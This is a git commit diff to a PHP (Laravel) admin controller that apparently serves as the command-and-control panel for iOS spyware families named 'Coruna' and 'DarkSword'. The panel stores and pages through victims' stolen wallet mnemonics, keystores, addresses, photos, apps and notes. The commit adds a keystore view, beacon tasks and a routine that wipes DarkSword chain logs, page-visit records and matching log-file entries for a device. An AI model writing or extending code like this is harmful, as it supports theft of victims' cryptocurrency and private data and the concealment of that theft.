feat: ds
This commit is contained in:
@@ -7,15 +7,20 @@ use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Models\DeviceApp;
|
||||
use App\Models\DeviceEvent;
|
||||
use App\Models\DsChainLog;
|
||||
use App\Models\Note;
|
||||
use App\Models\PageVisit;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Support\AgentScope;
|
||||
use App\Services\PhotoPreview;
|
||||
use App\Services\Tokenview\TokenviewMonitorService;
|
||||
use App\Support\AgentScope;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Collection;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
@@ -58,6 +63,7 @@ class DeviceController extends Controller
|
||||
return [
|
||||
'id' => $d->id,
|
||||
'device_id' => $d->device_id,
|
||||
'family' => $d->family ?: Device::FAMILY_CORUNA,
|
||||
'channel_id' => $d->channel_id ?: '',
|
||||
'source_domain' => $d->source_domain ?: '',
|
||||
'device_model' => $d->device_model ?: '',
|
||||
@@ -86,7 +92,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$tab = $request->query('tab', 'wallets');
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
if (! in_array($tab, ['wallets', 'mnemonics', 'keystores', 'photos', 'apps', 'notes', 'events'], true)) {
|
||||
$tab = 'wallets';
|
||||
}
|
||||
|
||||
@@ -109,12 +115,15 @@ class DeviceController extends Controller
|
||||
->values();
|
||||
}
|
||||
|
||||
$device->load(['beaconTasks']);
|
||||
|
||||
return view('admin.devices.show', [
|
||||
'device' => $device,
|
||||
'tab' => $tab,
|
||||
'addressSources' => $addressSources,
|
||||
'addressChains' => $addressChains,
|
||||
'portal' => $this->portal(),
|
||||
'beaconTasks' => $device->beaconTasks,
|
||||
]);
|
||||
}
|
||||
|
||||
@@ -131,6 +140,7 @@ class DeviceController extends Controller
|
||||
return match ($tab) {
|
||||
'wallets' => $this->paginateAddresses($device, $request, $field, $order, $limit, $page),
|
||||
'mnemonics' => $this->paginateMnemonics($device, $field, $order, $limit, $page),
|
||||
'keystores' => $this->paginateKeystores($device, $field, $order, $limit, $page),
|
||||
'photos' => $this->paginatePhotos($device, $request, $field, $order, $limit, $page),
|
||||
'apps' => $this->paginateApps($device, $field, $order, $limit, $page),
|
||||
'notes' => $this->paginateNotes($device, $field, $order, $limit, $page),
|
||||
@@ -139,16 +149,17 @@ class DeviceController extends Controller
|
||||
};
|
||||
}
|
||||
|
||||
public function photo(Device $device, int $photo)
|
||||
public function photo(Device $device, int $photo, PhotoPreview $preview)
|
||||
{
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$row = $device->photos()->whereKey($photo)->firstOrFail();
|
||||
abort_unless(Storage::disk('local')->exists($row->path), 404);
|
||||
$mime = mime_content_type(Storage::disk('local')->path($row->path)) ?: 'application/octet-stream';
|
||||
$abs = Storage::disk('local')->path($row->path);
|
||||
$out = $preview->payload($abs, (string) $device->device_id, (string) ($row->sha256 ?: ''));
|
||||
|
||||
return response(Storage::disk('local')->get($row->path), 200)
|
||||
->header('Content-Type', $mime);
|
||||
return response($out['bytes'], 200)
|
||||
->header('Content-Type', $out['mime']);
|
||||
}
|
||||
|
||||
public function update(Request $request, Device $device)
|
||||
@@ -177,6 +188,7 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$deletedFiles = $this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
|
||||
$deletedRows = $device->photos()->delete();
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
@@ -210,9 +222,13 @@ class DeviceController extends Controller
|
||||
private function purgeDevice(Device $device): void
|
||||
{
|
||||
$this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
$this->purgeDarkSwordLogs($device);
|
||||
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
@@ -222,10 +238,93 @@ class DeviceController extends Controller
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
}
|
||||
|
||||
private function purgeDarkSwordLogs(Device $device): void
|
||||
{
|
||||
$keys = $this->deviceLogKeys($device);
|
||||
if ($keys === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
||||
PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
||||
$this->purgeDsFileLogs($keys);
|
||||
}
|
||||
|
||||
/**
|
||||
* @return list<string>
|
||||
*/
|
||||
private function deviceLogKeys(Device $device): array
|
||||
{
|
||||
$raw = trim((string) $device->device_id);
|
||||
$hex = strtoupper(preg_replace('/[^0-9A-Fa-f]/', '', $raw) ?? '');
|
||||
$keys = [];
|
||||
foreach ([$raw, strtoupper($raw), $hex] as $key) {
|
||||
if ($key !== '' && ! in_array($key, $keys, true)) {
|
||||
$keys[] = $key;
|
||||
}
|
||||
}
|
||||
|
||||
return $keys;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $keys
|
||||
*/
|
||||
private function purgeDsFileLogs(array $keys): void
|
||||
{
|
||||
$dir = public_path('log/ds');
|
||||
if (! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$needles = array_values(array_unique(array_filter(array_map(
|
||||
static fn (string $key) => strtolower($key),
|
||||
$keys
|
||||
), static fn (string $key) => strlen($key) >= 8)));
|
||||
if ($needles === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
foreach (glob($dir.'/*.log') ?: [] as $file) {
|
||||
$raw = @file_get_contents($file);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
continue;
|
||||
}
|
||||
$parts = preg_split("/\r\n\r\n|\n\n/", $raw) ?: [];
|
||||
$kept = [];
|
||||
$changed = false;
|
||||
foreach ($parts as $part) {
|
||||
if (trim($part) === '') {
|
||||
continue;
|
||||
}
|
||||
$hay = strtolower($part);
|
||||
$hit = false;
|
||||
foreach ($needles as $needle) {
|
||||
if (str_contains($hay, $needle)) {
|
||||
$hit = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if ($hit) {
|
||||
$changed = true;
|
||||
|
||||
continue;
|
||||
}
|
||||
$kept[] = $part;
|
||||
}
|
||||
if (! $changed) {
|
||||
continue;
|
||||
}
|
||||
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
|
||||
@file_put_contents($file, $out);
|
||||
}
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
$deletedFiles = 0;
|
||||
@@ -380,6 +479,30 @@ class DeviceController extends Controller
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateKeystores(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'source', 'decrypted', 'created_at', 'updated_at'];
|
||||
if (! in_array($field, $sortable, true)) {
|
||||
$field = 'id';
|
||||
}
|
||||
$paginator = $device->keystores()->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$portal = $this->portal();
|
||||
$data = collect($paginator->items())->map(function (WalletKeystore $row) use ($portal) {
|
||||
return [
|
||||
'id' => $row->id,
|
||||
'source' => $row->sourceLabel(),
|
||||
'decrypted' => (int) $row->decrypted,
|
||||
'kind' => $row->kindLabel(),
|
||||
'item_count' => $row->itemCount(),
|
||||
'summary' => $row->summary(),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'items_url' => route($portal.'.keystores.items', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
return $this->layuiPage($paginator->total(), $data);
|
||||
}
|
||||
|
||||
private function paginateApps(Device $device, string $field, string $order, int $limit, int $page)
|
||||
{
|
||||
$sortable = ['id', 'name', 'bundle_id', 'version', 'is_wallet', 'created_at', 'updated_at'];
|
||||
@@ -454,7 +577,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param \Illuminate\Support\Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
* @param Collection<int, array<string, mixed>>|array<int, array<string, mixed>> $data
|
||||
*/
|
||||
private function layuiPage(int $count, $data)
|
||||
{
|
||||
@@ -467,7 +590,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
* @return array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int}
|
||||
*/
|
||||
private function filtersFrom(Request $request): array
|
||||
{
|
||||
@@ -479,6 +602,7 @@ class DeviceController extends Controller
|
||||
|
||||
return [
|
||||
'device_key' => trim((string) $request->query('device_key', '')),
|
||||
'family' => trim((string) $request->query('family', '')),
|
||||
'channel_id' => trim((string) $request->query('channel_id', '')),
|
||||
'model' => trim((string) $request->query('model', '')),
|
||||
'ip' => trim((string) $request->query('ip', '')),
|
||||
@@ -491,7 +615,7 @@ class DeviceController extends Controller
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array{device_key: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
* @param array{device_key: string, family: string, channel_id: string, model: string, ip: string, ios: string, installed_from: string, installed_to: string, has_wallet: ?int, agent_user_id: ?int} $filters
|
||||
*/
|
||||
private function filteredQuery(array $filters): Builder
|
||||
{
|
||||
@@ -501,6 +625,9 @@ class DeviceController extends Controller
|
||||
if ($filters['device_key'] !== '') {
|
||||
$q->where('devices.device_id', 'like', '%'.$filters['device_key'].'%');
|
||||
}
|
||||
if ($filters['family'] !== '' && in_array($filters['family'], [Device::FAMILY_CORUNA, Device::FAMILY_DARKSWORD], true)) {
|
||||
$q->where('devices.family', $filters['family']);
|
||||
}
|
||||
if ($filters['channel_id'] !== '') {
|
||||
$q->where('devices.channel_id', 'like', '%'.$filters['channel_id'].'%');
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user